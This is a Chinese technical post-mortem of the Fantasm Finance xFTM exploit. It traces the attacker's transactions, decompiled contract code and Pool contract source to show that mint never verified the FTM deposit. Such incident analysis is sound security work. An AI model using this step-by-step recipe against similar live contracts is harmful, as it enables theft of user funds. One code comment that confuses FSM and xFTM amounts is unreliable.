一句话对这个漏洞进行总结:合约中的漏洞是个典型的逻辑漏洞
,漏洞主要在Pool合约
中的mint
方法中,在mint方法中调用calcMint方法计算了铸造xFTM时需要的最少FTM和最少FSM,而合约代码只对FSM进行了销毁,却没有考虑FTM
的情况,导致即使用户不输入FTM,也能获得xFTM。
2022年3月9日,根据项目方紧急公告,xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址,黑客利用完漏洞后将获利全部换成了ETH,并跨链至以太坊主网,经笔者统计,黑客获利1007 ETH,折合当时ETH美元价格约为273万美元。
今天我们从技术层面分析Fantasm Finance被攻击的全过程。在分析攻击过程之前,对Fantasm Finance项目需要有下面的前置背景知识。
FTM :是Fantom公链的内置货币
。
FSM和xFTM :Fantasm Finance是一个Defi金融项目,FSM和xFTM都是Fantasm Finance发行的代币。在 Fantasm Finance,引入了一种去中心化的解决方案,通过部分抵押设计来扩大 FTM 代币的数量,其中 xFTM 的合成代币供应将部分由 FTM 支持,部分由 FSM 代币支持。XFTM
是一种分数算法合成代币,在 Fantom公链上与 1 FTM 的价值挂钩
。
WFTM :黑客利用的都是FTM,FSM合成xFTM时的漏洞,整体都是围绕这三个展开,但黑客为了获得FSM时,使用了WFTM,WFTM是FTM的ERC20格式,关于WFTM黑客将50个FTM换成50个WFTM后,又通过uniswap,将50个WFTM换成FSM,将FSM应用到漏洞中。WFTM只起到一个转换代币的作用,在漏洞利用中没有关键作用
。
项目官网: https://docs.fantasticprotocol.io/synthetic-tokens
根据介绍可得知,Fantasm Finance是做合成代币
的,xFTM
就是这个项目的合成代币,由FTM和FSM这两个币支持,xFTM价格与FTM挂钩。
前面说了xFTM基本上与1FTM进行挂钩,那么是如何进行挂钩的呢?
在官方文档中,定义了CR,Collateral Ratio 质押比率。关于CR有下面几点需要理解:
参考https://docs.fantasticprotocol.io/mechanisms/collateral-ratio官方文档
抵押比率 (CR)
进行铸造和赎回过程。抵押比率(CR) 将有由治理组织设定。表示在铸造或者赎回FTM时,xFTM占用的百分比。
每小时以0.2%
的幅度进行涨跌。如果60分钟的时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调;如果60分钟的时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调
初始的CR值为90%.根据这部分可得知,铸造xFTM的所需要的FTM占比最初为90%,该CR比例随着DEX的预言机报价(xFTM:FTM)浮动,xFTM价格低于1FTM时,占比增加,高于时反之。
那么铸造xFTM的公式是怎样的呢?
为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为: 1 XFTM = CRFTM + (1-CR)FSM
根据上图得知,FTM占比剩余部分由FSM这个币来支撑,例如FTM占比90%,那么FSM就得占比10%
根据攻击者的地址:
https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d
攻击过程通过攻击合约进行, 攻击者创建的攻击合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e
根据攻击发生的时间,找到攻击时的交易记录如下:
这4条交易记录与攻击者的攻击流程一致,因此将攻击流程划分为下面的4步:
下面我们会按照攻击者的攻击流程进行攻击过程推演。**在这4步中,第1步,第2步,第3步的大部分都是做攻击准备,主要漏洞利用存在于3中的mint方法调用和4中的collect函数调用中。**
创建的攻击合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e
这一步做了啥?
攻击合约调用WFTM合约的deposit
方法,将50个原生的FTM代币,换成了50个WFTM
。(从WFTM的代码合约中deposit函数,可以看到WFTM与FTM的兑换是1:1进行的)
从交易详情可以看到
从攻击合约的反编译的代码中也可以看出来,getWFTM函数只是调用了stor1(槽一中的变量,也就是wrappedFtm合约地址)的deposit方法,根据上图中的FTM转移过程,猜测合约的函数只是调用了WFTM合约的deposit方法,所以stor1变量应该是WFTM的合约地址。
def unknown527beca5() payable:
require ext_code.size(stor1)
call stor1.deposit() with:
value call.value wei
gas gas_remaining wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >=′ 32
require ext_call.return_data == ext_call.return_data[0]
WFTM代币的合约可以参考: https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code
调用该函数的交易hash为:0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9
该交易中涉及到的tokens的转移如下
50 WFTM
通过uniswapV2Pair合约换出5.721个FSM
,如下图中的1所标识的。发送给了Pool合约
。如下图中2所标识的。销毁
。如下图中的3所标识的。下面分析下0x671daed9函数的具体的调用过程,如下所示。
包括下面几个步骤,这些步骤中除了最后一步mint操作
,其他的都是常规的正常操作。mint操作中存在逻辑漏洞,黑客在调用mint方法后,利用程序的逻辑错误,burn 了5.721个FSM,给UserInfo添加了2618个xfmt。
该函数中操作的步骤如下(在mint之前的操作都是攻击准备工作,从mint函数开始才是真正的漏洞利用过程):
WFTM代币
中,攻击合约(0x94)授权Router合约可处理的代币数量为0xFFFFFFFFFFFFFFFF
。0xFFFFFFFFFFFFFFFF
没有验证用户输入的FTM是否正确
(正确的做法应该是计算出所需要的fsm和 ftm后,将fsm销毁,将ftm收回到Pool合约)。这就导致用户可以用很少的FSM就兑换出大量的xFTM(由背景知识中,可知大约1个xFTM=CR*FTM+(1-CR)FSM,CR通常为90%,逻辑代码就忽略了将占总交易价值90%左右的FTM收回到Pool合约)。approve 使用的参数:
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //WFTM 合约地址
"balance":"658429842400380886695645688"
}
"value":"0"
"input":{
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}
底层调用的_approve方法
"input":{
"owner":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
将WFTM代币
中,攻击合约(0x94)授权Router合约可处理的代币数量为0xFFFFFFFFFFFFFFFF
(也就是10进制的115792089237316195423570985008687907853269984665640564039457584007913129639935)
balanceOf
调用的是WFTM合约的balanceOf方法。查看了下攻击合约的balanceOf,现在攻击合约有50个WFTM
。
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //接收者是WFTM 合约地址
"balance":"658429842400380886695645688"
}
"input":{
"account":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
}
"output":{
"0":"50000000000000000000" // 查询的结果是攻击合约在WFTM中的余额为50WFTM
}
getAmountsOut
调用了Router合约的getAmountsOut方法,计算
出输入50个WFTM可以兑换出5.72个fsm。(返回的值为50和5.7)
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"balance":"0"
}
"[INPUT]":"0xd06ca61f000000000000000000000000000000000000000000000002b5e3af16b18800000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000021be370d5312f44cb42ce377bc9b8a0cef1a4c83000000000000000000000000aa621d2002b5a6275ef62d7a065a865167914801" // getAmountsOut方法
"output":{
"amounts":[
0:"50000000000000000000"
1:"5720527256067865356"
]
swapExactTokensForTokens
调用Router合约的swapExactTokensForTokens方法,兑换
5.72个fsm.
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"balance":"0"
}
"value":"0"
"input":{
"amountIn":"50000000000000000000"
"amountOutMin":"5663321983507186702"
"path":[
0:"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83"
1:"0xaa621d2002b5a6275ef62d7a065a865167914801"
]
"to":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
"deadline":"1646833795"
}
"output":{
"amounts":[
0:"50000000000000000000"
1:"5720527256067865356"
]
}
approve
在fsm token合约中,攻击合约(0x94)授权Pool合约的地址的取款权限为0xFFFFFFFFFFFFFFFF
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xaa621d2002b5a6275ef62d7a065a865167914801" // FSM Token合约地址
"balance":"0"
}
"value":"0"
"input":{
"spender":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}
我们先比较下正常调用mint函数
与攻击时调用mint函数
的 参数的区别 ,首先我们可以随意找一个正常调用的交易,比如 0xfc618528f6c0d6ff84702358ee0768c552e43ddf13c8c124461c13cf9a94ce11 这个交易。
正常调用时,uint256 _ftmIn = msg.value; 来自于 msg.value的_ftmln都是有fantom的原生币FTM的转入的,在这个交易中是20个FTM。在随后的操作中WethUtils.wrap(_ftmIn);中,将20个原生的FTM充值到Pool合约中。
uint256 _ftmIn = msg.value; 来自于 msg.value的_ftmln没有原生币FTM转入。在随后的操作中WethUtils.wrap(_ftmIn);中,将0个原生的FTM充值到Pool合约中。
在攻击时,调用Pool合约的mint方法,mint方法的功能是计算能铸造的xFTM的数量,并保存到userInfo[_minter].xftmBalance中(第4步的Collect函数会从userInfo[_minter].xftmBalance中读取能铸造的xFT数量并铸造)
。mint方法输入的参数为_fantasmIn为5.72个fsm代币,和_minXftmOut为0。
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
"balance":"0"
}
"value":"0"
"input":{
"_fantasmIn":"5720527256067865356" // 输入值为fsm:5.72个,
"_minXftmOut":"0"
}
"[OUTPUT]":"0x"
min函数中调用了calcMint函数,calcMint功能为根据输入的ftm和fsm计算出,可以铸造出来的xFTM的数量(_xftmOut),需要的最少的ftm数量(_minFtmIn),需要的最少的fsm的数量(_minFantasmIn),税费(_fee),通过函数返回可以看到5.72个fsm可以兑换2618个xftm。
calcMint函数的定义及调用calcMint函数时的参数与函数的返回值。
/// @param _ftmIn Amount of FTM input.
/// @param _fantasmIn Amount of FSM input.
/// @return _xftmOut : the amount of XFTM output.
/// @return _minFtmIn : the required amount of FSM input.
/// @return _minFantasmIn : the required amount of FSM input.
/// @return _fee : the fee amount in FTM.
function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
public
view
returns (
uint256 _xftmOut,
uint256 _minFtmIn,
uint256 _minFantasmIn,
uint256 _fee
)
输入值分别为:FTM的数量,FSM的数量,
输出值为:可以铸造的 XFTM的数量,所需要的FTM的数量,所需要的FSM的数量,手续费
"input":{
"_ftmIn":"0" // 输入的ftm为0
"_fantasmIn":"5720527256067865356" // 输入的fsm为5.72个
}
"output":{
"_xftmOut":"2618992620259886970084" // 可以铸造的xFTM为2618个
"_minFtmIn":"2576962648420209746893" // 需要的最少的FTM为2576个
"_minFantasmIn":"5720527256067865356" // 需要最少的fsm为5.72个
"_fee":"7730887945260629240" // 需要收取的手续费为7.73个WFTM.
}
重点来了,到现在为至,一切正常,clacMint也给出了最少需要的FTM是2576个,但是遗憾的是,后面并没有验证用户是否真正的传入了2576个FTM,导致在只输入FSM的情况下,并不需要补充FTM
,也就是如果FSM的占比为10%,那么就能用价值1u的FSM铸造价值10u的xFTM。。
如下面代码所示,这个漏洞可以说非常遗憾,明明calcMint函数都算出来需要的最少的FTM了,却愣是没有校验…………
该函数位于Pool合约中,主要功能是根据userInfo结构体
来铸造代币,如果userInfo[_sender].xftmBalance存在的话,就会铸造xFTM
。
调用collect函数。交易hash为: 0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9
通过函数的输入和输出,可以看出来,攻击者合约调用了Pool合约的collect方法。
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //攻击者合约地址
"balance":"0"
}
"to":{
"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" //Pool合约地址
"balance":"0"
}
"value":"0"
"[INPUT]":"0xe5225381" //collect() 方法
"[OUTPUT]":"0x"
将交易hash放在tenderly中看下具体的调用。
调用关系为:攻击合约→Pool合约的Collect()→调用XFTM的_mint方法,从而完成了xFTM的铸造。
从上面的截图中,可以看到token的转移情况,直接从0x0地址给0x94攻击者转移了2618个xFTM代币
。
从Pool合约的源代码中,也可以看到调用的过程
从下面的函数代码可以看出来,能mint多少xFTM,是由_fantasmAmount决定的,而_fantasmAmount参数直接来源于userInfo[_sender].xftmBalance
/**
* @notice collect all minting and redemption
*/
function collect() external nonReentrant {
address _sender = msg.sender;
require(userInfo[_sender].lastAction < block.number, "Pool::collect: <minimum_delay");
bool _sendXftm = false;
bool _sendFantasm = false;
bool _sendFtm = false;
uint256 _xftmAmount;
uint256 _fantasmAmount; //这里是参数定义。
uint256 _ftmAmount;
// Use Checks-Effects-Interactions pattern
if (userInfo[_sender].xftmBalance > 0) {
_xftmAmount = userInfo[_sender].xftmBalance;
userInfo[_sender].xftmBalance = 0;
unclaimedXftm = unclaimedXftm - _xftmAmount;
_sendXftm = true;
}
if (userInfo[_sender].fantasmBalance > 0) {
_fantasmAmount = userInfo[_sender].fantasmBalance; //取出调用者的FST的余额
userInfo[_sender].fantasmBalance = 0;
unclaimedFantasm = unclaimedFantasm - _fantasmAmount;
_sendFantasm = true;
}
if (userInfo[_sender].ftmBalance > 0) {
_ftmAmount = userInfo[_sender].ftmBalance;
userInfo[_sender].ftmBalance = 0;
unclaimedFtm = unclaimedFtm - _ftmAmount;
_sendFtm = true;
}
if (_sendXftm) {
xftm.mint(_sender, _xftmAmount);
}
if (_sendFantasm) {
fantasm.mint(_sender, _fantasmAmount); // 这里是第384行,调用铸造方法._fantasmAmount参数对应着要铸造的数量,这里_fantasmAmount应该为2618
}
一句话对这个漏洞进行总结:合约中的漏洞是个典型的逻辑漏洞
,漏洞主要在Pool合约
中的mint
方法中,在mint方法中调用calcMint方法计算了铸造xFTM时需要的最少FTM和最少FSM,而合约代码只对FSM进行了销毁,却没有考虑FTM
的情况,导致即使用户不输入FTM,也能获得xFTM。
https://dashboard.tenderly.co https://www.tofreedom.me/fantasm-finance
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!